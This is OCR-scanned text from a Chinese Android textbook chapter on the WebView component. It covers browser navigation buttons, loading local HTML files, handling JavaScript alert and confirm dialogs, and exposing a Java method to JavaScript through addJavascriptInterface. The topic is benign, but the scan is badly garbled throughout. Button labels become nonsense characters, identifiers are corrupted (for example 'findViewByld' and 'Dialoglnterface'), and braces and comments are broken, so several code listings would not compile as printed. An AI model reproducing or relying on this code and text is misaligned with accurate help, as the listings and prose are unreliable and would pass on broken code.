www.mldnjava.cn 
图 12-21 读 取 字 符 串 信息 


12.4.2 控 


使 用 过 浏览 器 的 读者 应 该 都 清楚 ，“ 前 进 、“ 后 退 ”、“ 0 等 是 浏览 器 中 的 常见 
操作 ， 而 在 WebView 中 也 默认 为 用 户 提供 了 这 些 功能 ， 下 面 通过 一 个 程序 进行 简单 介绍 。 

【 例 12-31】 定义 布局 管理 器 一 一 main.xml 

<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apk/res/android" 
android:orientation="Vertica/" /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<LinearLayout // 内 赃 线 性 布局 管理 器 

xmlns:android="http:/schemas.android.com/apK/res/android” 
android:orientation="horizontal” /所 有 组 件 水 平 摆 放 
android:layout_width="fil_parent”" // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height= "wrap_content> /布局 管理 器 高 度 为 内 容 高 度 
<Button /按钮 组 件 
android:id="@+id/open”" // 组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content” // 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
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android:text="#7 了 7"/> // 上 默认 显示 文字 
<Button // 按 钮 组 件 
android:id="@+id/back”" // 组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content” // 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
android:text=" 后 郊 ”/> /默认 显示 文字 
<Button /按钮 组 件 
android:id="@+id/forward" // 组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content” // 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
android:text=" 房 浴 " /> /默认 显示 文字 
<Button /按钮 组 件 
android:id="@+id/zoomout”" // 组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content” // 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
android:text=" 纵 4/" /> // 上 默认 显示 文字 
<Button // 按 钮 组 件 
android:id="@+id/zoomin”" // 组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content” // 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
android:text= "夏天 "/> // 上 默认 显示 文字 
<Button // 按 钮 组 件 
android:id="@+id/clear”" // 组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content” // 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_content”" // 组 件 高 度 为 文字 高 度 
android:text=" 游 空 " /> // 默 认 显 示 文字 
</LinearLayout> // 内 说 布局 管理 器 完结 
<WebView //WebView 组 件 
android:id="@+id/webview” // 组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 


android:layout_height="fil/l_ parent"/> 
</LinearLayout> 
可 以 发 现 ， 在 本 布局 管理 器 中 定义 了 
WebView 组 件 的 内 容 显 示 。 
【 例 12-32】 定义 Activity 程序 ， 操 作 WebView 
package org.Ixh.demo; 
import android.app.Activity; 
import android.app.AlertDialog; 
import android.app.Dialog; 
import android.content.Dialoglnterface; 
import android.os.Bundle; 
import android.view.View; 
import android.view.View.OnClickListener; 
import android.webkitWebView: 
import android.widget.Button; 
public class MyWebViewDemo extends Activity { 
private Button open = null ; 


// 组 件 高 度 为 剩余 屏幕 高 度 


- 排 控制 按钮 组 件 ， 而 后 的 程序 将 通过 这 些 按钮 控制 


/按钮 组 件 
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private Button back = null ; /按钮 组 件 
private Button forward = null ; /按钮 组 件 
private Button zoomin = null ; /按钮 组 件 
private Button zoomout = null ; /按钮 组 件 
private Button clear = null ; /按钮 组 件 
private WebView webview = null ; /WebView 组件 


private String uriDatal] = new String[] { "http://www.mldn.cn", 
"http://www.mldnjava.cn", "http://bbs.mldn.cn", 
"http://www.jiangke.com", "http://www.javajob.cn" }; // 定 义 选项 数据 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); /! 默 认 布 局 管理 器 
this.open = (Button) super.findViewByld(R.id.open) ; 1// 取 得 组 件 
this.back = (Button) super .findViewById(R.id.back) ; // 取 得 组 件 
this.forward = (Button) super.findViewByld(R.id.forward) ; // 取 得 组 件 
this.zoomin = (Button) super.findViewByld(R.id.zoomin) ; // 取 得 组 件 
this.zoomout = (Button) superfindViewByld(R.id.zoomoub ; // 取 得 组 件 
this.clear = (Button) super.findViewByld(R.id.clean) ; // 取 得 组 件 


this.webview = (WebView) super.findViewByld(R.id.webview) ; // 取 得 组 件 
this.open.setOnClickListener(new OpenOnClickListenerImpl()); 。 // 单 击 事件 
this.back.setOnClickListener(new BackOncClickListenerlImpl()) ; /| 单 击 事件 
this.forward.setOnClickListener(new ForwardOnClickListenerImpl());// 单 击 事件 
this.zoomin.setOnClickListener(new ZoomInOnClickListenerlImpl()); // 单 击 事件 
this.zoomout.setOnClickListener(new ZoomOutOnClickListenerimpl());// 单 击 事件 
this.clear.setOnClickListener(new ClearOnClickListenerImpl());  // 单 击 事件 

} 

private class OpenOnClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View view) { 

MyWebViewDemo.this.showUrlDailog() ; // 显 示 对 话 框 

} 


} 
private class BackOnClickListenerImpl implements OnClickListener { 


@Override 
public void onClick(View view) { 
if (MyWebViewDemo.this.webview.canGoBack()) { // 可 以 后 退 
MyWebViewDemo .this.webview.goBack() ; /后 退 
} 
} 
| 


private class ForwardOnClickListenerlImpl implements OnClickListener { 
@Override 
public void onClick(View view) { 
if (MyWebViewDemo.this.webview.canGoForward()) { // 可 以 前 进 
MyWebViewDemo this.webview.goForward() ; // 前 进 


} 
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} 


private class ZoomInOnClickListenerImpl implements OnClickListener { 


@Override 
public void onClick(View view) { 
MyWebViewDemo.this.webview.zoomIn() ; 
} 
} 


/放大 


private class ZoomOutOnClickListenerImpl implements OnClickListener { 


@Override 
public void onClick(View view) { 


MyWebViewDemo.this.webview.zoomOut() ; // 缩 小 
} 
} 
private class ClearOnClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View view) { 
MyWebViewDemo.this.webview.clearHistory() ; 1/ 清空 记录 
} 
} 
private void showUrlDailog(){ // 显 示 对 话 框 
Dialog dialog = new AlertDialog.Builder(this) /| 实例 化 对 象 
.setlcon(R.drawable.pic_m) // 设 置 显示 图 片 
.setTitle(" 请 选择 要 浏览 的 网 站 ") // 设 置 显示 标题 
.setNegativeButton(" 取 消 "， // 增 加 取消 按钮 
new DialogInterface.OnClickListener() { /设置 操作 监听 
public void onClick(Dialoglnterface dialog, 
int whichButton) { // 单 击 事件 
.setltems(this.urlData, // 设 置 列表 选项 
new Dialoglnterface.OnClickListener() { 
public void onClick(Dialoglnterface dialog, 
int which) { // 设 置 显示 信息 
MyWebViewDemo.this.webview.loadUrl( 
urlData[which]); // 打 开 网 址 
} 
}.create(); // 创 建 Dialog 
dialog.show(); /显示 对 话 框 


} 
} 
【 例 12-33】 修改 AndroidManifestxml 文件 配置 权限 
<uses-permission android:name="android.permission.INTERNET"/> 


本 程序 通过 WebView 提供 给 用 户 的 方法 进行 了 页 面 的 浏览 控制 ， 当 用 户 单 击 “ 打 开 ” 按 钮 
时 ， 会 自动 弹出 若干 个 选项 ， 供 用 户 选择 要 浏览 的 网 址 ， 如 图 12-22 所 示 ; 而 打开 网 站 界面 后 ， 


即 可 通过 给 出 的 控制 按钮 进行 控制 ， 程 序 的 运行 效果 如 图 12-23 所 示 。 
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| 


万 请 选择 要 浏览 的 网 站 


http://www.mldn.cn 


http://www.mldnjava.cn a KE 输送 合作 
http://bbs.mldn.cn 澳 责 就 业 。 
1 月 7 日 开课 ， 内 人 经 不 多 


http://www.jiangke.com 下 二 /AVA 二 


http://www.javajob.cn 


图 12-22 ”选择 网 址 图 12-23 打开 页 面 


12.4.3 通过 HTML 定义 显示 界面 


在 之 前 使 用 WebView 组 件 浏览 的 是 Web 站 点 ， 而 实际 上 ， 也 可 以 通过 WebView 组 件 加 载 
项 目 中 的 HTML 页 面 , 以 达到 界面 显示 的 操作 ,但 是 在 进行 这 些 操作 之 前 , 首先 必须 了 解 android. 
webkit WebSettings 类 ， 此 类 的 主要 功能 是 进行 WebView 的 操作 设置 ， 用 户 可 以 通过 WebView 
类 中 的 getSettings() 方 法 取得 WebSettings 类 的 对 象 , WebSettings 类 的 常用 方法 如 表 12-10 所 示 。 

表 12-10 WebSettings 类 的 常用 方法 

描述 
public void setBuiltInZoomControls(boolean 设置 是 否 可 以 进行 缩放 控制 
enabled 
public synchronized void setJavaScriptEnabled 
(boolean flag) 
public void setSaveFormData(boolean save) 普 j 设置 是 否 保存 表单 数据 
public void setSavePassword(boolean save) 普 j 设置 是 否 保存 密码 
public a void setGeolocationEnabled 


设置 是 否 启动 JavaScript 支持 


设置 是 否 可 以 获得 地 理 位 置 


实际 上 ， WebSettings 类 中 提供 了 多 种 设置 浏览 器 属性 的 操作 ， 而 表 12-10 中 只 是 列 出 了 常 
的 几 个 ， 关 于 这 些 设置 的 信息 ， 读 者 可 以 直接 通过 Android Doc 文档 查询 。 要 通过 HTML 设 
置 显示 界面 , 则 还 涉及 HTML 文件 的 保存 问题 ,此 时 用 户 可 以 将 文件 保存 在 Android 项 目的 assets 
文件 夹 中 ， 如 图 12-24 所 示 。 

通过 图 12-24 可 以 发 现 ，* html 文件 被 保存 在 了 assets\html 文件 夹 中 ， 这 样 以 后 Activity 程 
序 在 通过 WebView 组 件 进 行 访问 时 ， 只 需要 在 loadUrl0) 中 填写 例 12-34 中 的 路 径 信息 即 可 。 
【 例 12-34】 访问 项 目 中 的 show js.html 文件 
file:/android_asset/html/show_js.html 
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En 


可 以 发 现 ， 前 面 直接 使 用 fle 表示 此 时 是 要 通过 HTML 文件 进行 页 面 的 显示 。 
了 解 了 这 些 基本 概念 之 后 ， 下 面 通过 一 段 实际 的 代码 来 演示 如 何 使 用 HIML 进行 页 面 的 设置 。 


ct 


四 xc 
日 - 宙 org.bkh.demo 
由 - 田 MyWebyiewDemo,java 
咒 gen [Generated Java Files] 
BN Android 2.3,3 
BS assets 
EE html 
人 show_js.html 
EB images 
厢 android_book.jpg 
res 
加 AndroidManifest.xml 
国 default.properties 
proguard,cfg 


图 12-24 设置 HTML 文件 的 保存 路 径 


四 ` 田 - 田 


田 


提示 
本 部 分 程序 需要 JavaScript 的 支持 。 

既然 要 编写 HTML 文件 ， 那 么 就 一 定 需要 JavaScript 来 实现 客户 端的 交互 操作 ， 对 于 
JavaScript 操作 不 熟悉 的 读者 可 以 参考 《名 师 讲 坛 一 Java Web 开发 实战 经 典 》“ 基 础 篇 ” 
的 内 容 。 


【 例 12-35】 定义 包含 JavaScript 的 HTML 文件 
<meta http-equiv="Content-Type" content= "text/html ; charset=GBK"> 
<script language="javascript"> 
function openurl(url) { 
window.location = url ; 
} 
</script> 
<center> 
<img src="../images/android_book.jpg" width="150" height="220"> 
<h3> 请 选择 您 要 浏览 的 网 站 : </h3> 
<select name="url" onchange="openurl(this.value)"> 
<option value="http://www.mldn.cn">MLDN</option> 
<option value="http://www.mldnjava.cn"> 魔 乐 科技 软件 学 院 </option> 
<option value="http://bbs.mldn.cn"> 开 发 者 论坛 </option> 
</select> 
</center> 
本 程序 是 一 个 标准 的 HTML 文件 程序 ， 在 其 中 直接 通过 一 个 下 拉 列 表 进 行 了 JavaScript 操 
作 ， 程 序 会 根据 选择 的 下 拉 列 表 项 ， 跳 转 到 指定 的 页 面 进行 显示 。 另 外 ， 需 要 提醒 读者 的 是 ， 
于 本 程序 是 在 Android 中 运行 ， 所 以 必须 设置 页 面 的 编码 ， 本 程序 设置 的 编码 为 GBK。 
【 例 12-36】 定义 布局 管理 器 一 一 main .xml 
<?xml version= "1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlns:android="http:/schemas.android.com/apK/res/android" 
android:orientation="vertical” /所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
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<WebView /WebView 显示 组 件 
android:id="@+id/webview”" /| 组件 ID， 程 序 中 使 用 
android:layout_width="fill_parent” /1/ 组 件 宽度 为 屏幕 宽度 
android:layout_height="fill_parent"/> /1/ 组 件 高 度 为 屏幕 高 度 

</LinearLayout> 


【 例 12-37】 定义 Activity 程序 ， 读 取 HTML 文件 

package org.Ixh.demo; 

import android.app.Activity; 

import android.os.Bundle; 

import android.webkit.WebView; 

public class MyWebViewDemo extends Activity { 
private WebView webview = null ; 
@Override 
public void onCreate(Bundle savedInstanceState) { 

super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); /| 默认 布局 管理 器 
this.webview = (WebView) super.findViewByld(R.id.webview) ; /取得 组 件 
this.webview.getSettings().setJavaScriptEnabled(true) ; /启用 JavaScript 


this.webview.getSettings().setBuiltinZoomControls(true) ; // 控 制 页 面 缩放 
this.webview.loadUrl("file:/android_asset/html/show_js.html") ; // 读 取 网 页 
} 
) 
【 例 12-38】 修改 AndroidManifest.xml 文件 配置 权限 
<uses-permission android:name="android.permission.INTERNET"/> 
本 程序 与 之 前 的 WebView 功能 类 似 ， 但 是 有 以 下 几 点 不 同 : 
回 由 于 show jshtml 程序 存在 JavaScript 代码 ， 所 以 必须 启动 JavaScript 支持 
(setJavaScriptEnabled()) 。 
为 了 方便 用 户 的 缩放 控制 ， 将 缩放 开关 打开 。 
回 直接 通过 文件 读 取 所 需要 的 页 面 信息 。 
香 序 的 运行 效果 如 图 12-25 所 示 ; 弹出 的 下 拉 列 表 效 果 如 图 12-26 所 示 ; 用 户 选中 要 访问 的 
页 面 时 的 显示 效果 如 图 12-27 所 示 。 
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图 12-25 显示 界面 图 12-26 下 拉 列 表 图 12-27 打开 页 面 
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12.4.4 本 地 程序 与 JavaScript 互 操作 


之 前 已 经 简单 地 演示 了 如 何 利用 HTML 进行 Android 手机 界面 的 编号， 而且 读 者 也 可 以 发 
现 ， 当 使 用 WebView 加 载 HTML 页 面 文件 进入 程序 之 后 , 可 以 直接 操作 JavaScript。 但 是 WebView 
的 功能 远 不 止 如 此 ， 使 用 WebView 还 可 以 专门 处 理 JavaScript 返回 的 警告 框 、 确 认 框 等 互 操作 ， 而 
此 时 就 需要 使 用 android.webkit.WebChromeClient 客户 端 处 理 的 操作 类 完成 ， 在 WebChromeClient 
类 中 提供 了 表 12-11 所 示 的 几 个 方法 来 完成 与 JavaScript 的 互 操 作 。 


/提示 


关于 WebViewClient 类 。 


在 WebView 处 理 HTML 和 本 地 程序 互 操作 中 还 有 一 个 WebViewClient 类 ， 也 可 以 完成 
客户 端的 处 理 , 但 是 该 类 的 主要 功能 是 处 理 与 网 页 有 关 的 操作 ,如 页 面 的 打开 、 读 取 完 成 等 ， 


读者 可 以 自行 实验 。 
表 12-11 WebChromeClient 类 提供 的 处 理 方法 
No. 方 法 | 类 型 | 描述 
1 public void onCloseWindow(WebView window' 窗口 关闭 操作 
public boolean onCreateWindow(WebView view, boolean i 
2 普通 创建 新 的 WebView 
dialog, boolean userGesture. Message resultMsg 汪 
public boolean onJsAlert(WebView view, String url, String 普通 弹出 警告 框 互 操作 
message, JSResult result) 
到 boolean onJsBeforeUnload(WebView view, String url, 普通 页 面 关闭 互 操作 
String message, JsResult result) 
8 public boolean onJsConfirm(WebView view, String Url String 弹出 确认 框 互 操作 
message, JsResult result 
public boolean onJsPrompt(WebView view, String url, String re 
6 普通 出 提示 框 互 操作 
message, String defaultValue, JsPromptResult result 弹出 提示 框 互 操 人 
7_| public boolean onJsTimeoutO 普通 计时 器 已 到 互 操作 
public void onProgressChanged(WebView view. int newProgress) 普通 进度 改变 互 操作 
9 | public void onReceivedTitle( WebView view, String title) 接收 页 面 标题 互 操作 


通过 表 12-11 所 列 的 方法 可 以 发 现 ， 这 些 操作 方法 都 是 与 JavaScript 中 的 事件 操作 以 及 弹出 
窗口 有 关 的 互 操作 方式 ， 例 如 ， 如 果 在 JavaSeript 中 使 用 alert0 弹 出 警告 框 ， 则 使 用 onJsAlertO 


进行 处 理 。 


如 果 用 户 的 WebView 程序 此 时 接收 到 了 通过 HTML 传递 来 的 JavaScript 弹出 窗口 的 信息 ， 
则 必须 根据 其 弹出 的 窗口 类 型 , 通过 Activity 程序 进行 动态 的 生成 ， 该 工作 由 对 话 框 完成 。 下 面 


演示 本 程序 的 操作 。 
【 例 12-39】 定义 HIML 页 面 一 一 show js.html 
<head> 


<title> 魔 乐 科技 软件 学 院 : www.mldnjava.cn<ltitle> 


<meta http-equiv="Content-Type" content="text/html ; charset=GBK"> 
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<script language="javascript"> 
function openAlert() { 
window.alert(" 魔 乐 科 技 软件 学 院 nwww.MLDNJAVA.cn") ; 


} 
function openConfirm() { 
if(window.confirm(" 是 否 删除 此 信息 ?")){ /确定 删除 
window.location = "delete_js.html" ; /进行 跳 转 
} 
</script> 


</head> 
<input type="button" value=" 弹 出 警告 框 " onclick="openAlert()"> 
<input type="button" value=" 弹 出 确认 框 " onclick="openConfirm()"> 


show_js.html 页 面 中 ， 在 确认 框 中 有 一 个 询问 是 否 删除 的 提示 ， 如 果 确 认 删 除 ， 则 要 跳 转 到 


delete js.html 文件 执行 删除 操作 ， 但 是 此 时 该 操作 的 执行 也 需要 由 Activity 进行 ， 而 要 想 执行 此 
操作 ， 则 需要 使 用 android.webkit.JsResult 类 完成 (在 onJsConfirm()、onJsAlert(0 方 法 中 都 有 此 参 


数 ) 


， 此 类 中 定义 了 两 个 操作 方法 ， 如 表 12-12 所 示 。 
表 12-12 JsResult 类 定义 的 方法 


No 描述 
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1 public final void cancelO 取消 对 话 框 
全 public final void confirm() 确认 操作 


【 例 12-40】 定义 删除 信息 后 的 显示 文件 一 一 delete_js.html 
<head> 
<title> 魔 乐 科技 软 件 学 院 : www.mldnjava.cn<ltitle> 
<meta http-equiv="Content-Type" content= "text/html ; charset=GBK"> 
</head> 
<h1> 信 息 已 删除 ! </h1> 
两 个 要 操作 的 HTML 文件 定义 完成 之 后 ， 下 面 就 可 以 通过 WebView 进行 控制 了 。 
【 例 12-41】 定义 布局 管理 器 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlns:android="httip:Mschemas.android.comyapkres/anadroid” 
android:orientation="vertical” /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent’> // 布 局 管理 器 高 度 为 屏幕 高 度 
<WebView /WebView 显示 组 件 

android:id="@+id/webview” // 组 件 ID， 程 序 中 使 用 

android:layout_width="fill_parent”" // 组 件 宽度 为 屏幕 宽度 

android:layout_height="fill_parent"/> // 组 件 高 度 为 屏幕 高 度 
</LinearLayout> 


【 例 12-42】 定义 Activity 程序 ， 操 作 HIML (分 段 列 出 》 
package org.Ixh.demo; 
import android.app.Activity; 
import android.app.AlertDialog; 
import android.app.Dialog; 
import android.content.Dialoglnterface:; 


import android.os.Bundle; 

import android.webkit.JsResult; 

import android.webkit.WebChromeClient; 

import android.webkit.WebView; 

import android.widget.Toast; 

public class MyWebViewDemo extends Activity { 
private WebView webview = null ; 
@Override 
public void onCreate(Bundle savedInstanceState) { 

super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); // 默 认 布 局 管理 器 
this.webview = (WebView) super .findViewBylId(R.id.webview) ; // 取 得 组 件 
this.webview.getSettings().setJavaScriptEnabled(true) ; /启用 JavaScript 
this.webview.getSettings().setBuiltinZoomControls(true) ; /控制 页 面 缩放 
this.webview.setWebChromeClient(new WebChromeClientImpl()) ; // 接 收 客户 端 操作 
this.webview.loadUrl("file:/android_asset/html/show_js.html") ; // 读 取 网 页 


} 
在 本 程序 中 ,首先 取得 了 定义 的 WebView 组 件 , 而 后 通过 WebSettings 类 分 别 设置 了 WebView 
的 浏览 属性 ， 最 后 定义 了 一 个 WebChromeClient 的 操作 类 ， 用 于 与 JavaScript 一 起 进行 互 操作 。 
private class WebChromeClientImpl extends WebChromeClient { 
@Override 
public boolean onJsAlert(WebView view, String url, String message, 


final JsResult result) { 
Dialog dialog = new AlertDialog.Builder(MyWebViewDemo.this) /实例 化 对 象 


.setlcon(R.drawable.pic_m) // 设 置 显示 图 片 
.setTitle("MLDN 警告 ") /设置 显示 标题 
.setMessage(message) // 设 置 显示 内 容 
.setPositiveButton(android.R.string.ok, // 增 加 一 个 确定 按钮 
new Dialoglnterface.OnClickListener(){ /设置 操作 监听 
public void onClick(Dialoglnterface dialog, 
int whichButton) { // 单 击 事件 


Toast.makeText(MyWebViewDemo.this, "关闭 警 
告 框 ， 
ToastLENGTH_SHORT).show();// 提 示 信 息 
result.cancel() ; 


} 
}).create(); // 创 建 Dialog 
dialog.show() ; // 显 示 对 话 框 
return true ; /不 显示 HTML 中 的 警告 框 
1 
@Override 
public void onReceivedTitle(WebView view, String title) { 
MyWebViewDemo.this.setTitle(title) ; // 设 置 程序 标题 
super.onReceivedTitle(view, title); 
} 
@Override 


public boolean onJsConfirm(WebView view, String url, String message, 
final JsResult result) { 
Dialog dialog = new AlertDialog.Builder(MyWebViewDemo.this) // 实 例 化 对 象 
.setlcon(R.drawable.pic_m) // 设 置 显示 图 片 
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.setTitle(" 确 定 删除 ?") // 设 置 显示 标题 
.setMessage(message) // 设 置 显示 内 容 
.setPositiveButton(" 删 除 "， /增加 一 个 确定 按钮 
new Dialoglnterface.OnClickListener() { // 设 置 操作 监 
public void onClick(Dialoglnterface dialog, 
int whichButton) { // 单 击 事件 


Toast.makeText(MyWebViewDemo.this, "确定 删除 ”， 
ToastLENGTH_SHORT).show();// 提 示 信 息 


result.confirm() ; /继续 执行 
)).setNegativeButton(" 取 消 1/ 增加 取消 按钮 
new Dialoglnterface.OnClickListener(){ /设置 操作 监听 
public void onClick(Dialoglnterface dialog, 
int whichButton) { // 单 击 事件 


Toast.makeText(MyWebViewDemo.this, "取消 删除 "， 
Toast.LENGTH_SHOR 帮 .show():// 提 示 信 息 
result.cancel() ; 


} 
}).create(); // 创 建 Dialog 
dialog.show() ; 


return true; // 不 显示 HTML 中 的 对 话 框 


} 
} 


【 例 12-43】 修改 AndroidManifest.xml 文件 配置 权限 
<uses-permission android:name="android.permission.INTERNET"/> 
WebChromeClient 的 子 类 主要 进行 了 3 种 JavaScript 事件 的 操作 (警告 杠 、 确 认 框 、 接 收 标 
题 ) ， 当 WebView 接收 到 JavaScript 弹出 的 警告 框 时 会 自动 使 用 onJsAlert() 方 法 进行 处 理 ， 如 
图 12-28 所 示 。 当 接收 到 确认 框 之 后 ， 如 果 用 户 单 击 “ 确 定 ”按钮 ， 则 使 用 JsResult 类 中 的 confirmO) 
方法 继续 执行 确认 之 后 的 跳 转 指令 ， 如 图 12-29 所 示 。 


厅 MLDN 和 警告 而 确定 删除 ? 


魔 乐 科 技 软件 学 院 


WE 是 否 删 除 此 信息 ? 
www.MLDNJAVA.cn 是 否 删除 此 信息 ? 


| me | mw | 


图 12-28 弹出 警告 图 12-29 弹出 确认 框 
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12.4.5 使 用 JavaScript 调用 Android 程序 


12.4.4 节 演 示 了 如 何 通过 Android 调用 JavaScript 的 操作 ， 反 过 来 ，JavaScript 程序 也 可 以 调 
Android 程序 , 此 时 就 必须 依靠 WebView 中 的 addJavaScriptInterface() 方 法 完成 , 其 定义 如 下 : 

public void addJavaScriptlnterface(Object 操作 对 象 , String 标记 和 名称 ); 

在 此 方法 中 ， 用 户 需要 一 个 标记 的 名 称 ， 而 该 标记 名 称 的 主要 功能 就 是 绑 定 HTML 与 
Android 间 的 联络 标记 。JavaScript 调用 Android 程序 流程 如 图 12-30 所 示 。 


< 


public void onCreate(Bundle savedlnstanceState){ 

SuperonCreatel(savedlnstanceState); 
super.setContentView(R.layout.main); 
this.webview = (WebView) superfindViewByld(R.id.webview) ; 
this.webview.getSettings().setJavaScriptEnabled(true) ; 
this.webview.getSettings().setBuiltiInZoomControls(true) ; 
this.webview.addjavascriptinterface(this, 列 

this.webview.loadUrl("file:/android_asset/html/show 下 TimT] ; 


一 一 一 一 一 一 一 一 一 一 一 一 -1 
retum " 魔 乐 科技 软件 学 院 C wwwMLDNJAvA.cn? "; 1 
1 


} 一 
SA 显示 内 容 1 
ZI 1 


<script language="javascript"> 
魔 乐 科技 软件 学 院 document.getElementByld("mse") innerHTML LL window .mldnandroid | | .get(); 
( Www.MLDNJAVA.cn /saipe> 人 


图 12-30 JavaScript 调用 Android 的 程序 流程 


ee 2.3 不 可 使 用 本 操作 。 

本 书 程 序 最 早 是 在 Android 2.2 平台 下 开发 的 ， 此 程序 在 Android 2.3 中 无 法 运行 ， 笔 者 推 
测 可 能 是 因为 版 本 升级 所 导致 的 问题 ， 这 一 点 有 可 能 会 根据 版 本 的 不 断 更 新 而 进一步 完善 。 
另外 ， 使 用 JavaScript 调用 Android 程序 的 操作 并 不 常见 ， 所 以 本 内 容 主要 为 读者 进行 简单 介 


绍 ， 了 解 即 可 。 


通过 图 12-30 可 以 发 现 ， 用 户 首先 要 使 用 addJavaScriptInterface0 方 法 添加 一 个 标记 (本 程 
序 中 为 mldnandroid) ， 而 后 的 HTML 程序 就 可 以 通过 此 标记 调用 Activity 程序 中 定义 的 操作 方 
法 (get()) ， 下 面 编 写 完整 的 代码 实现 。 
【 例 12-44】 定义 HTML 页 面 一 一 show_jsht 
<head> 


<title> 魔 乐 科技 软件 学 院 : www.mldnjava.cn<jtitle> 
<meta http-equiv="Content-Type" content= "text/html ; charset=GBK"> 


</head> 
<h1><span id="msg"> 等 待 接 收 信息 ...</span></h1> 
<script language="javascript"> 
document.getElementByld("msg").innerHTML = window.mldnandroid.get() ; 


</script> 


635 


名 师 讲坛 一 一 Android 开发 实战 经 典 


HTML 程序 的 主要 功能 是 调用 Activity 类 中 的 get0 方 法 ， 并 将 get0 方 法 的 返回 内 容 设 置 到 

<span> 元 素 中 。 

【 例 12-45】 定义 布局 管理 器 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apK/res/android" 
android:orientation="vertica/” /所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height= 7/_parent> // 布 局 管理 器 高 度 为 屏幕 高 度 
<WebView /WebView 显示 组 件 

android:id="@+id/webview” /| 组件 iD， 程序 中 使 用 

android:layout_width="fil/_parent” // 组 件 宽度 为 屏幕 宽度 

android:layout_height="fill_parent"/> // 组 件 高 度 为 屏幕 高 度 
</LinearLayout> 


本 程序 主要 定义 了 WebView 组 件 ， 而 后 将 通过 此 组 件 加 载 HTML 程序 并 执行 。 
【 例 12-46】 定义 Activity 程序 ， 操 作 WebView 

package org.Ixh.demo; 

import android.app.Activity; 

import android.os.Bundle; 

import android.webkit,WebView; 

public class MyWebViewDemo extends Activity { 
private WebView webview = null ; 1/WebView 组 件 
@Override 
public void onCreate(Bundle savedInstanceState) { 

super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); /| 默认 布局 管理 器 
this.webview = (WebView) super findViewByld(R.id.webview) ; // 取 得 组 件 
this.webview.getSettings().setJavaScriptEnabled(true) ; /启用 JavaScript 
this.webview.getSettings().setBuiltinZoomControls(true) ; /| 控制 页 面 缩放 
this.webview.addJavascriptInterface(this, "mldnandroid") ; 
this.webview.loadUrl("file:/android_asset/html/show_js.html") ; // 读 取 网 页 

} 

public String get(){ 


return " 魔 乐 科技 软件 学 院 (www.MLDNJAVA.cn) "; 
1 
} 

【 例 12-47】 修改 AndroidManifest.xml 文件 配置 权限 
<uses-permission android:name="android.permission.INTERNET"/> 
本 程序 的 操作 流程 与 图 12-30 类 似 ， 主 要 目的 就 是 通过 JavaScript 操作 MyWebViewDemo 

中 的 get0 方 法 ， 程 序 的 运行 效果 如 图 12-31 所 示 。 
商品 E 
态 贱 介 5:02ww 
魔 乐 科技 软件 学 院 
(Www.MLDNJAVA.cn ; 


图 12-31 显示 HIML 页 面 
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12.5 本 章 小 结 


(1) 在 Android 系统 中 ， 可 以 直接 与 Web 客户 端 进行 通信 ， 通 信 的 方式 也 分 为 GET 请 求 
和 POST 请 求 。 

(2) Socket 是 一 种 C/S 程序 ，Android 可 以 直接 在 手机 中 使 用 Socket 进行 连接 。 

(3) Web Service 可 以 实现 异 构 系 统 的 通信 问题 ， 但 是 Android 没有 直接 提供 Web Service 
程序 的 开发 包 ， 必 须 单独 配置 。 

(4) 使 用 WebView 组 件 可 以 直接 使 用 HIML 编写 界面 ， 而 且 可 以 实现 与 JavaScript 的 互 
操作 。 
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第 13 章 定位 服务 


可 以 利用 Google 提供 的 Geocode 服务 进行 位 置 与 坐标 的 查找 。 

在 Android 手机 中 已 经 为 用 户 默认 提供 了 GPS 定位 功能 ， 开 发 者 可 以 根据 Android 提供 的 
定位 服务 以 及 Google Map 轻松 地 实现 一 个 自己 的 地 图 操作 软件 。 本 章 将 讲解 定位 操作 、 服 务 数 
据 取得 和 地 图 显示 等 功能 的 实现 。 


通过 本 章 的 学 习 可 以 达到 以 下 目标 : 

掌握 定位 服务 的 主要 使 用 原理 及 基本 开发 方法 。 
可 以 使 用 LocationManager 监听 用 户 所 在 的 位 置 。 
可 以 使 用 Google Map 进行 地 图 的 显示 。 

可 以 使 用 Overlay 绘制 地 图 层 。 


13.1 配置 Google APIs SDK 


